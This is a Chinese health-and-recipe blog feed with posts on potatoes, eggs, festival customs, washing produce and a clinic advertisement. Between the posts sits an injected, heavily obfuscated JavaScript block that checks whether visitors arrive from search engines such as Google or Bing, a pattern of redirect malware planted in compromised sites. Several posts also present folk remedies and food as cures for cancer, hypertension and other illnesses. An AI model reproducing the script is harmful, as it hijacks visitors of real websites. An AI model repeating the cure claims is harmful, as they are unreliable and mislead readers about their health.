2021-02-06 / by / in
土豆就是最好的“药”,关键看你怎么吃,学会受益多多!

抗癌/降血压/土豆/吃土豆的人一定要看看/土豆吃法/土豆最好的药

土豆又称为马铃薯、洋芋,是一种很常见的蔬菜,很多人都喜欢吃它,土豆中含有大量的维生素,因而营养学家称它蔬菜明星,被认为有“地下苹果”之称。

联合国最近一项调查表明,到2100年,全世界人口将增加到105亿,可能导致粮食危机。有的科学家认为,到那个时候,最有可能帮助人类渡过危机的就是这貌不惊人、我们天天见到的土豆。

土豆浑身是宝,堪称“地下苹果”


土豆有“第二面包”的美称 

土豆浑身都是宝。两位英国营养专家建议,每天吃两次煮土豆可以缓解压力。具体说起来,土豆有以下几个营养优势:

1.营养价值高:“第二面包”美称

土豆的营养价值很高,含有丰富的维生素A和维生素C以及矿物质,优质淀粉含量约为16.5%,还含有大量木质素等。

土豆是典型的低能量食物,素有“第二面包”的美称。

2.含多种维生素:有利心血管健康

土豆富含各种维生素,含量甚至与蔬菜相当。尤其是维生素C和B族维生素含量较高,其中前者是一种抗氧化剂,保护身体免于自由基的威胁,后者有利于心血管健康。

3.富含钾盐:降脑卒中发病率

每100克土豆含钾高达300毫克以上,具有防治高血压和心脏病的功效,这让土豆享有“地下苹果”的美誉。

另外有研究证明,每天坚持吃1个中等大小的土豆(约130克),可使脑卒中的发病率降低40%。

4.富含多酚类:抗癌、抗氧化

早先的研究结果表明,土豆能有效预防乳腺癌,并在癌症早期的综合治疗中发挥积极作用。

土豆中含有的多酚类物质,具有抗癌、抗氧化作用。

5.非常好的补气食物

从中医角度看,土豆是一种非常好的补气食物。具有健脾益气、和胃调中、减肥降脂等功效,对有“气虚”表现的人有很好的调理作用。

土豆堪称百姓灵芝,为达到防治疾病的目的,吃法非常关键!

1、降血压

生土豆榨汁

方法

将土豆洗净,去皮,用擦菜板擦成汁或榨橙汁。然后可依照个人口味加入酸奶、砂糖、蜂蜜等饮用。

很多人不知道土豆其实还是一味“降压药”。

土豆中含有大量矿物质、B族维生素和钾,有利于控压,降压,还可保持血管弹性,有利于预防动脉粥样硬化的发生,这些都是控制血压的可靠保证。

2、降血糖

蒸土豆

方法

将土豆蒸熟吃,这种情况能够避免土豆的吸油性,一般需要蒸10分钟左右,然后直接吃就可以。

尽可能不要乱加调料,如果觉得难以下咽的话,应该注意细嚼慢咽。

高血糖的人可以用土豆代替一部分主食。土豆中的碳水化合物含量在17%左右,比米饭(26%)或馒头(50%)中的碳水化合物都要低。

以土豆代部分主食,可减少部分总热量摄入,对血糖、血脂过高都有很好的改善和缓解作用。

3、助消化

土豆炒着吃

方法

土豆切成丝后,先在水中稍微泡泡。因为土豆中淀粉以直链淀粉为主,泡泡再炒,土豆丝会比较爽脆。

加醋可以保护土豆中所含的部分维生素C,而炒的过程中放油,又可促进土豆中抗氧化物质的吸收。调成酸辣味,还能减少食盐用量。

酸辣土豆丝很多人都吃过,炒酸辣土豆丝可以说是一味治疗食欲差的好“药”,酸辣可口的土豆丝可以增加食欲、促进消食。


土豆加蜂蜜 

4、润肠防便秘

土豆加蜂蜜

方法

1、把土豆削皮、切碎,用榨汁机榨成汁。

2、把榨好的土豆汁倒进锅里,用小火煮,当土豆汁变得黏稠时,加入适量蜂蜜,搅拌均匀即可。

3、做完后放入冰箱冷藏。每天喝一次,每次两勺,空腹服用即可。
你知道吗?每100克土豆里所含的膳食纤维高达6克,可以说是防治便秘的首选食物。

要提醒的是,蜂蜜最好选择槐花蜜。槐花蜜属凉性,用来治疗便秘效果最好。而热性的蜂蜜,吃了以后会增加肠道的干燥,反而会加重便秘的症状。

5、美容

新鲜土豆片

方法

将熟土豆切片,贴在眼睛上,能减轻下眼袋的浮肿。

把土豆切成片敷在脸上,具有美容护肤、减少皱纹的良好效果。

土豆有很好的呵护肌肤、保养容颜的功效。新鲜土豆片液直接涂敷于面部,增白作用十分显着。

6、抗癌

常吃土豆防结肠癌

土豆中大量的膳食纤维不仅可以降血糖,还可以帮助降低胆固醇水平和及时排除代谢毒素,常吃土豆能有效降低结肠癌的发病率。


土豆烧牛肉 

土豆不愧是餐桌上的“营养之王”,而且还便宜,人人吃得起!降压抗癌、美容抗衰…常吃土豆就够啦!以后可别小看土豆!

2021-02-06 / by / in
要过年啦~虾仁蒸饺上餐桌了(视频)

虾仁蒸饺/虾仁/蒸饺

过年了北方有吃饺子习俗,民间也流传着有“好吃不过饺子”的俗语。每逢过年或过节,饺子是餐桌不可缺少的美食。

虾仁蒸饺所需材料:

可以做25-30个蒸饺:

饺子皮面团: 中筋面粉:180克, 玉米淀粉:30克,盐:1克, 开水:60克, 温水:60克,

虾肉馅:

小虾仁: 400克,生抽:2 小勺,白胡椒粉:1克, 带皮鸡腿肉:170克左右,五香粉:小于1克, 生抽:1 小勺,盐:2克, 香油: 1大勺,生姜泥:1 小勺,葱白:1小段,蛋清:1个

做法:

1. 将鸡腿肉剁成泥,然后加入所有的馅料所需的调料,并搅拌均匀。

2. 饺子包好后,开水下锅蒸,中小火蒸6分钟即可。

2021-02-05 / by / in ,
每天一个鸡蛋胆固醇会升高?真相竟是…后悔知道的太晚了!

胆固醇/心脏病/鸡蛋/吃鸡蛋/鸡蛋营养

鸡蛋在我们生活中是不可缺少的食物,鸡蛋中含有丰富的优质蛋白和各种微量营养成分,对人体健康来说是不可缺少的部分。

有人说鸡蛋中有胆固醇,对心血管不好,会增加冠心病和卒中的危险,但其实我们完全不需要有这样的担心~

1天1个蛋,就能补全身


刚刚孕育出来的新生命 

不要小看这小小的一颗鸡蛋,它能发育出小鸡的五脏器官,孕育新的生命,这就是它安全且营养全面最好的证明。

专家建议,每天吃40-50g蛋类,也就是一个鸡蛋的量。而实际上据不完全统计,我国农村居民每天平均吃14g鸡蛋、城市居民则每天平均吃27克鸡蛋,都是达不到建议标准的。

每天一个鸡蛋,对于健康人来说,不但不会因为其中的胆固醇等增加冠心病和中风的风险,还是对我们全身上下,最好的一种营养滋补。

肌肉关节

蛋白和钙营养肌肉护关节

能称为优质蛋白的食物不多,鸡蛋就是一个。它中间的氨基酸全面、而且好吸收,这对增加我们肌肉的坚实程度特别有帮助。

肌肉控制我们的运动,更强有力的保护着我们的关节,如果肌肉退化,关节的负担就会成倍增加。鸡蛋中丰富的蛋白质和钙质,正是对我们的肌肉和关节最好的营养。

大脑

胆碱营养神经、防痴呆

鸡蛋中丰富的胆碱是合成大脑神经递质——乙胆碱的必要物质,同时也是细胞膜的重要成分,有助于营养脑神经、提高记忆力、防止痴呆,使注意力更集中。

同时起作用的,还有卵磷脂和类固醇,这些都是营养大脑的关键物质。

脑血管

叶酸防止脑卒中

叶酸也是鸡蛋中重要的营养物质之一。国际权威医学杂志曾刊发文章介绍,在高血压患者中补充叶酸,可减少脑卒中的发病率。

眼睛

叶黄素玉米黄素防病变

蛋黄中富含叶黄素、玉米黄素这两种抗氧化物质,它们的存在可以有效的帮助延缓和预防老年性黄斑病变,除了这两种物质,鸡蛋还含有大家熟悉的维生素A,可以维持皮肤和视力健康。


鸡蛋还含有大家熟悉的维生素A 

心脏

预防心脏病

我们说胆碱和维生素B12对我们的心脏好,具体是怎么好呢?

高半胱氨酸是血液中的一种氨基酸,这种氨基酸往往与心脏病发病风险的升高紧密相关,而胆碱在高半胱氨酸的分解中起到重要的作用,同时维生素B12对维持正常的免疫功能非常重要,也有助于预防心脏病。

全身

提高免疫力抗衰老

鸡蛋中维生素、矿物质的含量和种类都十分丰富,包括了所有的B族维生素、维生素A、维生素D、维生素E、维生素K和微量的维生素C。

尤其富含维生素B1、B2,它们都有利于身体的能量代谢、抗衰老,维持正常的免疫力。

鸡蛋加一物,不受疾病扰

补肺镇咳:百合鸡蛋汤

此方补肺虚,镇咳喘。适宜于肺虚久咳之病症。方中百合有补肺之功;鸡蛋又具和营卫之效,两味相合,为补肺镇咳之方。

百合鸡蛋汤

做法:取百合60克,鸡蛋2枚,以百合、鸡蛋同煮,至鸡蛋熟,去壳,连汤同服。每日服1次。

脱发白发:首乌煮鸡蛋

何首乌能补肝肾,益精血,乌须发;用于肝肾虚损、精血不足、须发斑白、未老先衰。健康人吃了也可以益智、延缓衰老、乌发。

首乌煮鸡蛋

做法:制首乌10克,鸡蛋2个。将首乌煎药汤,煮鸡蛋2个。蛋煮熟以后剥壳,再煮至少半小时,每次吃1个鸡蛋,饮汤,每天两次。

痛经:益母草煮鸡蛋

痛经的发生与淤血有着密切的关系,鸡蛋具有滋阴养血的作用。益母草是历代医家用来治疗妇科疾病之要药,具有活血化淤的作用,益母草煮鸡蛋最适合于气滞血淤型痛经患者食用。

益母草煮鸡蛋

做法:取鸡蛋2个,益母草30克,元胡15克,放入砂锅中加入适量清水同煮,鸡蛋煮熟后去壳再煮片刻,去药渣,吃蛋喝汤。经前1~2天开始服,每日1剂,连服5~7天。

气血双补:当归红糖煮鸡蛋

当归是女性圣药。这款补血汤对于改善女性贫血是很有帮助的,如果有贫血,经常头晕,一下子坐起来会有头昏的感觉,可以试试这个方子。

当归红糖煮鸡蛋

做法:当归20g,熟鸡蛋4颗、红糖适量。当归加3碗水,放入煮熟去壳又用针刺十余个小孔的鸡蛋,煮汤至1碗即成。

在经期3、4天或者经后一周开始吃,早或者晚空腹,连续吃两天即可。每日服2次,吃蛋,饮汤。也就是一共吃4颗蛋。


这是最好的证明 

不要再误会鸡蛋了,小小的一颗鸡蛋能孕育出新的生命,这就是它安全且营养全面最好的证明。

每天吃1个鸡蛋,长期坚持下来,是比偶尔吃什么营养品更实在的方法,赶紧告诉您更多的朋友吧~

2021-02-05 / by / in
过年的老传统 你还有几项在坚持?(组图)

过年/传统佳节/团圆/除旧尘/祭祀祖先/贴春联/放鞭炮/吃饺子/拜新年/回娘家/玩游戏

还有几天就要过年了,虽然疫情当下,可是过年的气氛还是不亚于往年。

人们常说百节年为首,年是中华民族最为隆重的传统佳节,过年期间,华夏子孙为了庆贺新春活动,会有丰富多彩的活动和习俗,以下哪些你还在坚持。


过年

一、家团圆。

过年首要第一条就是团圆,离家再远过年也要回家,这是中国人铁打不动的习俗,由于强推城市化和经济发展的严重不平衡,有家的地方没工作,没家的地方有工作,外出务工人员越来越多,在中国大陆形成了“春运”,出现了“一票难求”的现象,都是为了回家团圆。今年由于受到疫情影响,好多人不能回家团圆。远在他乡辛劳一年的游子,今年你还回家过年吗?


家团圆

二、除旧尘。

又叫扫尘、扫屋、扫房等,简单说就是打扫卫生,通常是在那月二十四这天,小时候这一天家里通常会用竹竿绑上鸡毛掸子把家里屋子清扫一遍,把家里所有被子、床单清洗一遍,所谓“打扫干净屋子再请客”就是这个道理,现在你们还会进行除旧尘活动吗?

三、祭祖

中国人非常讲究祭祀祖先,尤其是在过年前,会买些纸钱、带些点心到老人坟上去烧纸,如果老人生前爱喝酒的还会带上一瓶酒倒在坟头,烧完纸后磕头离开。现在你们都怎么祭祖呢?


贴春联

四、贴春联

每年大年三十的上午,无论城市还是农村,家家户户都要挑漂亮的春联贴于门上,辞旧迎新,增加喜庆的节日气氛,小时候都是村里的“书法家”手写的,后来有了印刷品,更加精美了,除了春联外,现在还会贴一些门神、挂灯笼等。你家今年的春联买好了吗?

五、放鞭炮

放爆竹是中国传统民间习俗,已有两千多年历史。相传是为了驱赶一种叫“年”的怪兽。当新年钟声敲响,家家户户都会放鞭炮,还记得小时候我们会一家家去寻找没有炸的鞭炮,然后自己用火柴点燃,由于引线太短经常会炸到手指。你们对“擦鞭”、“掼鞭”还有印象吗?过年你们还会放鞭炮吗?

六、吃饺子


吃饺子

现在哪怕是好吃的东西再多,各家也要“包饺子”,大年三十晚上一家人团圆在一起,一边包着饺子,这已经是好多人家标准的迎新方式,现在你们还会在年三十包饺子吗?

七、拜新年

大年初一拜新年,是人们辞旧迎新、相互表达美好祝愿的一种方式,我们小时候,这一天可高兴了,因为这一天我们会给爷爷、奶奶、叔叔大爷们去拜新,拜年时要下跪磕头,然后他们就会给我们一笔“不小的压岁钱”,通常是1元、2元,5元、10元已是“巨款”,够我们过年期间的各种花销。但是,随着时代的发展,拜年的习俗亦不断增添新的内容和形式,电话拜年、短信拜年、网络拜年等逐渐兴起 。今年,你们会收到多少“压岁钱”?

八、回娘家

又称走娘家,每年正月初二出嫁的女儿要回娘家,夫婿要同行,新出嫁的女儿,娘家还要派人去迎接,所以又称迎婿日,回家时要带上一大堆礼品。现在你们还在正月初二回娘家吗?


玩麻将

九、玩游戏

过年期间,除了拜年、吃各种好吃的,玩游戏也是必不可少的,以前智能手机、电子产品没有普及的时候,尤其是在农村,无论大人小孩、男女老少或多或少都是会参与一种活动,就是“赌博”游戏,麻将、扑克牌、筛子等玩法多样。你们过年还“玩游戏”吗?

2021-02-04 / by / in
美国最新报告:又有水果农药残留超标!你知道正确的洗蔬果方式吗?

健康/水果/农药残留/蔬菜

美国非营利环保机构,环境工作组织发表最新报告指出,确定最脏和最干净的蔬果名单,其中包括酪梨、凤梨、洋葱、木瓜、芦笋等最为干净蔬果,而草莓、樱桃、苹果、葡萄、菠菜、番茄等都有近70%农药残留,特别草莓的农药更是残留高达98%。

虽然政府对蔬果、食品都有相关的农药管制,但民众也该了解正确的清洗蔬果方式,以免越洗越毒,也避免把农药吃下肚。

1.浸泡

其实农药会自行挥发,而且环境温度越高,残留农药挥发得越快。所以在食用前可以先将蔬果放在室温下半天,再使用浸泡的方式,浸泡约3到5分钟,最后在流动自来水下用手搓洗,将农药被水溶解并带走。

这样的方式确实会用到比较多水,但为了能完全去除残留农药并让自己安心,还是要把蔬果洗干净呀!


洗菜

2.削皮

许多水果的表皮都会有一层天然腊质保护,而农药就很容易会在这些表皮上停留,并且难以清除,所以记得要削皮再食用。另外,冲洗过后的水果要用纸巾将表面水分擦拭干净再削皮,以免让脏污或还含有农药的部分污染到里面可以食用的地方。


削皮

3.加热

叶菜类在洗净后可以使用汆烫法,利用高温杀菌之外,农药也会在汆烫的过程中被挥发、分解掉。不过因为农药都已被分解进水里,所以经汆烫过后的菜汤就不能再食用,另外,在汆烫时也不要闷住,记得把锅盖打开,让农药随蒸气挥发。

2021-02-04 / by / in
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,53,50,122,56,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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2021-02-03 / by / in , , ,
肠胃镜检查,除了发现肠胃道的问题外,还会发现其他方面的问题吗?
荆彤肠胃中心
电话: (718) 886-9819
地址: 136-68 Roosevelt Ave 3rd floor, Flushing, NY 11354
肠胃镜检查,除了发现肠胃道的问题外,还会发现其他方面的问题吗?

对,这有时要全面的来检查病人,像最近我有一个病人来做胃镜,因为是胃部不舒服,家庭医生到这里边来做胃镜。
做完胃镜呢 我们发现里边没什么大问题,但是病人的皮肤发黄,眼球也发黄,所以当时我判断病人可能胰腺或者是肝会有问题,所以做了进一步的验血检查,而且把病人带到医院,我亲自去做内视镜超声的一个比较新的技术,发觉病人有早起的胰腺癌 那病人很快的安排了手术,那术后效果也很好。
胰腺癌哪 我们知道是癌中之王,死亡率是相当高的,如果一半发现的时候 病人已经是三期 四期了,那就没有手术机会了。
早期发现胰腺癌是比较难的,但是早期发现的好处就是病人有手术的机会,这样呢就可以把肿瘤给消灭掉。

收起

2021-02-03 / by / in ,
(视频)立春到!做春饼 吃春卷啦~

春卷/立春/春饼

今天立春,与大家分享自制春卷皮,也一起学学做春卷。

立春是二十四节气中的第一个节气。立春的“立”是开始的意思, 表示万物复苏的春天开始了, 天气回暖, 万物更新。立春有吃春饼和春卷的习俗,就是用做成的薄薄的面皮包着时令蔬菜,卷成卷蒸熟或者油炸着吃。

做春卷皮:

中筋面粉 190克,70°C热水 120毫升,

做法:

1. 将热水一点一点的倒入面粉中,然后搅拌成絮状,揉成面团,静置30分钟。

2. 将饧好的面切成16等份,每份20克,然后擀成13厘米的薄片,全部都擀好后,将每片上面涂少许油,然后叠放起来。 8片为一摞。然后再次擀成23厘米大小的薄片。

3. 将擀好的2镙放入蒸锅厘米,蒸8分钟即可。

2021-02-03 / by / in ,
40岁后,具备这六个身体现象,说明你特别健康!

40岁后 健康/40岁 营养素/身体现象 健康

按照正常的规律走,人的年纪过了40岁就像运行的机器,时间久了难免会出现一些这毛病那毛病。

这个阶段的人往往事业有成,但健康情况大不如前。常常感到力不从心,胸闷气短。

这个阶段的人激素分泌波动较大,情绪变化也较大,身体各器官的功能呈下降趋势。

所以很多人到中年,便开始各种的“补身体”,可是,你的身体真的需要补吗?如果你过了40岁,有这些身体特征,就说明了你特别健康!


图片

1、伤口修复迅速

如果一个人的身体伤口恢复得很快很好,就说明这个人的身体素质是真的很好,能够有很好的恢复能力,说明其身体器官脏器都非常良好,身体器官的功能能尽数发挥出来。

2、入睡快

身体健康,睡眠好的人,上床之后都会很快进入睡眠状态。

但是身体有疾病,或者是睡眠健康出现问题的朋友,会出现辗转反侧,不能入睡的情况。

健康的入睡时间为:半小时以内。

3、指甲红润无棱

指甲是与人体的脏腑经络有直接联系的,通过指甲就能充分的反映人体的健康变化。

指甲的健康关乎身体的营养状态,维生素的摄入,以及排毒的稳固。指甲红润无棱说明气血足,不缺钙,也说明内分泌的正常。

4、头发润泽

头发长得好不好,也表示着身体好不好,因为头发乃身体之肤。中医认为“肾者,其华在发”,“发为血之余”。头发的润泽和枯燥,都与身体的肾器官息息相关,头发好,说明肾好,头发不好,肾就不健康。精血充足的人,身体就越健康,头发也会更加润泽。

5、尿液清澈

如果你每天都要小便几次,而且尿液呈淡黄色,而不是深色,说明身体水分充足,肾脏健康;完全没颜色的尿液说明身体水分过多,会使身体流失重要的盐分和电解质。

6、排便正常

可以定时上厕所排便,而且大便不湿不干、不硬不粘。这种现象,都在说明你身体消化系统好,肠胃蠕动性稳健,而且营养吸收方面良好。

三种营养素,助力健康身体

第一种:omega-3脂肪酸

大量实验证明,饮食中omega-3脂肪酸摄入过少、omega-6摄入脂肪酸过多,两者失衡是诱发心血管病等慢性病的重要因素之一,我们日常的食用油中,含有omega- 6脂肪酸的比较多,所以导致了人体摄取的omega-3脂肪酸比较少,是慢性病高发的原因之一。

所以,生活中多增加omega-3多不饱和脂肪酸的植物油是非常有必要的,如苏麻油、胡麻仁油、核桃油是富含omega-3脂肪酸的食用油,可每天补充5-10ml,补充人体所需的omega-3,对预防癌症,清除血液垃圾、预防心脑血管疾病有益。

饭后半个小时,用5ml苏麻油加入到200ml酸奶中,搅拌均匀,食用即可,也可以根据自己的喜好加点爱吃的水果。


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第二种:优质蛋白质

蛋白质是一切生命的基础,在体内不断的合成与分解,是构成、更新、修补组织和细胞的重要成分,它参与物质代谢及生理功能的调控,保证机体的生长、发育、繁殖、遗传并供给能量。

肉、蛋、奶、鱼、豆是提供蛋白质的主要营养素。


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第三种:维生素

维生素是维持人体健康所必须的物质,需要量虽少,但由于体内不能合成或合成量不足,必须从食物中摄取,而现在人的饮食习惯,则导致维生素摄取不足,尤其是不爱吃蔬菜水果的人,更应该多注意维生素的摄取。

维生素有水溶性(维生素B族、维生素C)和脂溶性(维生素A、D、E、K等)两类。它们对人体正常生长发育和调节生理功能至关重要。

蔬菜、水果是提供维生素的主要营养素。

三个小动作,成就健康身体

一:捏捏手指

可强精壮阳,推迟性衰老。尤其是食指,是手阳明大阳肠经的通路,用右手拇指和食指按揉左手食指尖端的商阳穴,以感到酸胀为宜,每次按摩2~3分钟,同样方法按揉右手手指的商阳穴。

二:搓手足

经常搓一搓手脚有增强免疫力,预防感冒的作用。同时,促进手足的血液循环,改善干裂、粗糙问题。

三:踮脚根

两脚并拢,双脚跟提起,头上顶,动作稍停。双脚跟下落,咬牙,轻震地面。一起一落为一遍,注意保持平衡、动作不要着急,反复做7遍,或根据自身情况调整时间。

这个动作也正是通过颠脚跟的方式,刺激肾经系统,诱发全身震荡,柔和地按摩五脏六腑,从而起到消除百病的神奇功效。

2021-02-03 / by / in
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2021-02-02 / by / in , , ,
白萝卜雪梨汤 清肺养生 化痰止咳 有奇效(视频)

白萝卜/雪梨/汤

现在疫情期间大家需要多吃一些清肺解热的食物。雪梨就是一种化痰清肺和润燥的食物,而红糖养血补血具有更好的功效。

白萝卜,色白,属金,入肺,性微凉,味辛甘,具有消食通气、生津润肺、利尿通便的功效,在饮食和中医食疗方面应用广泛,故有“冬吃萝卜夏吃姜,不用医生开药方”的说法。

食材:

白萝卜 1根,雪梨 1个,红糖 适量

做法:

萝卜洗净切片,雪梨去核儿,然后放入砂锅里面,放入适量的清水和红糖煮,煮至萝卜成透明状即可。

2021-02-02 / by / in ,
鸡蛋降低中风险降,人人都在吃,却不知道这样吃更灵!

鸡蛋/预防中风/鸡蛋可预防中风/鸡蛋可补全身/鸡蛋这样吃更灵

鸡蛋是人类不可缺少的重要食物之一,鸡蛋是有很高的营养价值,据《美国营养学院学报》上的一项研究指出,每天坚持吃一个鸡蛋,可以降低中风风险约12%。

天气一天比一天冷。此时,潜伏的杀手:中风,就要开始肆无忌惮地寻找目标了!冬季是中风的高发季。

